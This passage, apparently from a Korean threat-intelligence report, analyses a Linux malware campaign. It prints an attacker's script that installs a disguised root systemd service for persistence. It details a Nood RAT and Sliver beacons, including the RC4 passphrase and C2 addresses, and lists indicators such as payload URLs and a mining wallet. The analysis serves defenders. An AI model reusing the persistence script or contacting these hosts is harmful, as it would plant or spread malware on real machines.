SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
cat <<EOF > "$SERVICE_FILE"
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=${BINARY_PATH} ${ARGS}
Restart=always
RestartSec=10
User=root
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable "$SERVICE_NAME"
systemctl start "$SERVICE_NAME"
if systemctl is-active --quiet "$SERVICE_NAME"; then
echo "Service started via systemd."
INSTALLED_SYSTEMD=1
fi
fi
# Fallback to nohup // 백그라운드에서 실행 활성화
if [ $INSTALLED_SYSTEMD -eq 0 ]; then
echo "Starting with nohup..."
nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
fi
JavaScript
복사
3.4. Persistance (RAT, Sliver)
1) RAT (SHA256: 33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f)
•
최초 실행 시 동적 분석 방해 목적으로 daemon 함수를 실행한 이후 메인 함수를 실행
◦
sub_404568() : 프로세스 명 복호화 및 프로세스 재실행
◦
sub_404415() : 프로세스 재실행 후 RAT 기능 활성화를 위한 로직 포함
•
기본적으로 RC4 암호화를 사용하며 (Passphrase : r0st@#$) 미리 내장된 데이터를 복호화하여 위장 프로세스 명인 writeback를 메모리에 저장
RC4 복호화 로직
RC4 암호화된 데이터 복호화 결과
실제 악성코드 실행 이후 ps -ef 명령어 결과
•
해당 악성코드는 Gh0st RAT 변종인 Nood RAT 악성코드로 확인되며 설정 파일을 RC4 암호화하여 저장(패스워드 동일)
◦
설정파일 형식 : “C&C_Server_1″;”C&C_Server_2″|”Mon”;”Tue”;”Wed”;”Thu”;”Fri”;”Sat”;”Sun”;|”Time”;|”Interval(Min)”
C&C_Server_1 | 요일 | 시간 | 간격 |
vip[.]kof97.lol:443 | 월~일 모두 사용 (1;1;1;1;1;1;1;) | 00~24시 전체(00-24;) | 1분마다 |
메모리에서 확인되는 설정파일 데이터
RC4 암호화된 설정파일을 복호화한 결과
•
로그인 배너 문자열, x86_64 아키텍처 사용 여부, hostname, NIC 이름을 확보 후 C2로 전달하며 후속 명령 발생 시 처리하는 것으로 확인
C2와 초기 연결 시 전달할 데이터 수집 시도
2) Sliver Framework
•
Sliver Framework는 Go언어 기반으로 작성된 오픈소스 도구로 공격에 사용된 파일은 Beacon 파일로 C2와 연결 성공 시 명령을 전달받아 수행하는 악성코드로 확인
◦
Cobalt Strike와 유사한 Red-Team 침투 테스트 도구로 Cobalt Strike Beacon의 탐지율이 높아짐에 따라 대안으로 주로 사용
SHA256 | Info | C2 |
8fee14142577734282aa1f53ea2e5cddaf4a588de40e7b179b13855330077b96 | ELF 64-bit LSB executable | mtls://keep[.]camdvr.org:60010 |
cb5524b6605af240a7385f8f875c6af0b5009d5bcba4a3cc7c3e399057c7c644 | ELF 64-bit LSB executable | mtls://keep[.]camdvr.org:60002 |
2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f | ELF 64-bit LSB executable | mtls://keep[.]camdvr.org:60005 |
•
최초 실행 시 CPU 정보를 확보하여 Intel CPU를 사용중인지 검증하며 가상환경을 사용하는 경우 프로세스 강제종료 진행
가상환경 여부 검증 로직
•
공격자가 설계한 Sliver C&C 서버와의 통신에 mTLS 프로토콜을 사용하며 C&C 서버 주소를 포함한 복호화 된 설정 데이터 확인
◦
mTLS(Mutual TLS) : 상호 인증을 위한 프로토콜로 네트워크 연결 시작 시 송신자/수신자가 올바른 개인 키를 가지고 있는지 확인하여 통신 연결을 시작하는 방식
•
1.6 버전 기준 사용 가능한 기능 (일부) | |
Staged 또는 Stageless payload 생성 | 프로세스 및 파일 작업 |
mTLS, WireGuard, HTTP(S) 및 DNS 기반 통신 지원 | 명령 실행 |
TCP 및 named pipe pivots | 파일 업로드/다운로드 |
JavaScript/TypeScript 또는 Python 기반 스크립팅 지원 | 스크린샷 캡쳐 |
Compile과 동시에 코드 난독화 | 권한 상승 |
동적 코드 생성 | 프로세스 메모리 덤프 |
04. IoC, Indicator of Compromise
NO | Type | DATA | Info |
1 | SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce | |
2 | SHA256 | a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4 | |
3 | SHA256 | 4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b | |
4 | SHA256 | 1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665 | |
5 | SHA256 | 18c68a982f91f665effe769f663c51cb0567ea2bfc7fab6a1a40d4fe50fc382b | |
6 | SHA256 | 1a3e7b4ee2b2858dbac2d73dd1c52b1ea1d69c6ebb24cc434d1e15e43325b74e | |
7 | SHA256 | 1cdd9b0434eb5b06173c7516f99a832dc4614ac10dda171c8eed3272a5e63d20 | |
8 | SHA256 | 1e31dc074a4ea7f400cb969ea80e8855b5e7486660aab415da17591bc284ac5b | |
9 | SHA256 | 2b0dc27f035ba1417990a21dafb361e083e4ed94a75a1c49dc45690ecf463de4 | |
10 | SHA256 | 2ca913556efd6c45109fd8358edb18d22a10fb6a36c1ab7b2df7594cd5b0adbc | |
11 | SHA256 | 4ff096fbea443778fec6f960bf2b9c84da121e6d63e189aebaaa6397d9aac948 | |
12 | SHA256 | 55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864 | |
13 | SHA256 | 62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d | |
14 | SHA256 | 7d25a97be42b357adcc6d7f56ab01111378a3190134aa788b1f04336eb924b53 | |
15 | SHA256 | 7f05bad031d22c2bb4352bf0b6b9ee2ca064a4c0e11a317e6fedc694de37737a | |
16 | SHA256 | 9c931f7f7d511108263b0a75f7b9fcbbf9fd67ebcc7cd2e5dcd1266b75053624 | |
17 | SHA256 | ac2182dfbf56d58b4d63cde3ad6e7a52fed54e52959e4c82d6fc999f20f8d693 | |
18 | SHA256 | ac7027f30514d0c00d9e8b379b5ad8150c9827c827dc7ee54d906fc2585b6bf6 | |
19 | SHA256 | b38ec4c803a2d84277d9c598bfa5434fb8561ddad0ec38da6f9b8ece8104d787 | |
20 | SHA256 | bc31561c44a36e1305692d0af673bc5406f4a5bb2c3f2ffdb613c09b4e80fa9f | |
21 | SHA256 | bf602b11d99e815e26c88a3a47eb63997d43db8b8c60db06d6fbddf386fd8c4a | |
22 | SHA256 | d704541cde64a3eef5c4f80d0d7f96dc96bae8083804c930111024b274557b16 | |
23 | SHA256 | d9313f949af339ed9fafb12374600e66b870961eeb9b2b0d4a3172fd1aa34ed0 | |
24 | SHA256 | e2d7c8491436411474cef5d3b51116ddecfee68bab1e15081752a54772559879 | |
25 | SHA256 | ebdb85704b2e7ced3673b12c6f3687bc0177a7b1b3caef110213cc93a75da837 | |
26 | SHA256 | f88ce150345787dd1bcfbc301350033404e32273c9a140f22da80810e3a3f6ea | |
27 | SHA256 | fc9e53675e315edeea2292069c3fbc91337c972c936ca0f535da01760814b125 | |
28 | SHA256 | 33641bfbbdd5a9cd2320c61f65fe446a2226d8a48e3bd3c29e8f916f0592575f | |
29 | SHA256 | 5360c10dedbec8da96d79840feda84fca927356e93f65e3752c1c9f621daf64b | |
30 | SHA256 | a26c70f34d35f78f0b95bf402d513f69e196720576d9115dba0efdb4c57deb81 | |
31 | SHA256 | ca77dbfa81abe6afabb417b003e1733f685b9a551b63f492e86e18d3a521b1a6 | |
32 | SHA256 | b9df31875df5761c9b7506c5c8323f13ead8e033f9fdc922422b045e17e0d5e2 | |
33 | SHA256 | 7c2d9c6ae9c811c62e67a6279fec0b68047a031eae674d3d5f9279a4ec7e8a25 | |
34 | SHA256 | d2263684cfb35bae31de108f5edebdf35cccf21eb8e315a28b39952fae50b3a9 | |
35 | SHA256 | d033d0e44b4f4be7ca3b8d063ea95699d1c894896ef912bf52c2296bc73f8838 | |
36 | SHA256 | 9352e1c12dcef49e916053d5f97fe9913e083eab44c50d1d976bf50ce1e727d9 | |
37 | SHA256 | 8fee14142577734282aa1f53ea2e5cddaf4a588de40e7b179b13855330077b96 | |
38 | SHA256 | cb5524b6605af240a7385f8f875c6af0b5009d5bcba4a3cc7c3e399057c7c644 | |
39 | SHA256 | 2cd41569e8698403340412936b653200005c59f2ff3d39d203f433adb2687e7f | |
40 | SHA256 | 6957c6d7f21f698d5ce6734dc00aeddc317d5875c3fd16b8b4a54259e02c46c5 | |
41 | SHA256 | 13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274 | |
42 | SHA256 | a754ec3310ebbb61f2efbd52611c7cbc0a06af7ac998d46e176fa19461288460 | |
43 | SHA256 | b67221d6057a2a08bd19cdebf22e6d5557a8794463413e6fc128c7ec15a41415 | |
44 | SHA256 | 29e27520790febaed737cdd56cc7f8df8b4b9d3e05ea012ccd1d8e2b51cd5ad4 | |
45 | IP | 115[.]42.60.223 | |
46 | IP | 140[.]99.223.178 | |
47 | IP | 156[.]234.209.103 | |
48 | IP | 38[.]162.112.141 | |
49 | IP | 45[.]32.158.54 | |
50 | IP | 46[.]36.37.85 | |
51 | IP | 47[.]84.79.46 | |
52 | IP | 95[.]169.180.135 | |
53 | IP | 45[.]134.174.235/2.sh | |
54 | IP | 45[.]134.174.235/solra | |
55 | IP | 45[.]76.155.14 | |
56 | Domain | hxxps://api[.]qtss.cc:443/en/about?source=redhat&id=v1.0 | |
57 | Domain | hxxps://api[.]qtss.cc:443/en/about?source=redhat&id=v1.1 | |
58 | Domain | hxxps://api[.]qtss.cc:443/en/about?source=redhat&id=v1.21136868377216160297393798828125 | |
59 | Domain | http://45[.]76.155.14/vim | |
60 | Domain | hxxp://46[.]36.37.85:12000/sex.sh | |
61 | Domain | hxxp://115[.]42.60.223:61236/slt | |
62 | Domain | hxxp://45[.]32.158.54/5e51aff54626ef7f/x86_64 | |
63 | Domain | hxxp://115[.]42.60.223:61236/slt | |
64 | Domain | hxxp://156[.]234.209.103:20912/get.sh | |
65 | Domain | hxxp://156[.]234.209.103:20913/get.sh | |
66 | Domain | hxxp://45[.]32.158.54/5e51aff54626ef7f/x86_64 | |
67 | Domain | hxxp://46[.]36.37.85:12000/sex.sh | |
68 | Domain | hxxp://95[.]169.180.135:8443/pamssod | |
69 | Domain | hxxp://res[.]qiqigece.top/nginx1 | |
70 | Domain | hxxp://146[.]88.129.138:5511/443nb64 | |
71 | Domain | hxxps://raw[.]githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | |
72 | Domain | hxxps://sup001[.]oss-cn-hongkong.aliyuncs.com/123/python1.sh | |
73 | Domain | reactcdn[.]windowserrorapis.com | |
74 | Domain | res[.]qiqigece.top | |
75 | Domain | vip.kof97.lol:443 | |
76 | Domain | http://inerna1[.]site | |
77 | Domain | http://anywherehost[.]site/ | |
78 | Domain | http://47[.]84.82.8/upload | |
79 | Domain | http://8[.]222.213.56/upload | |
80 | Domain | keep[.]camdvr.org | |
81 | Wallet | 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ |



















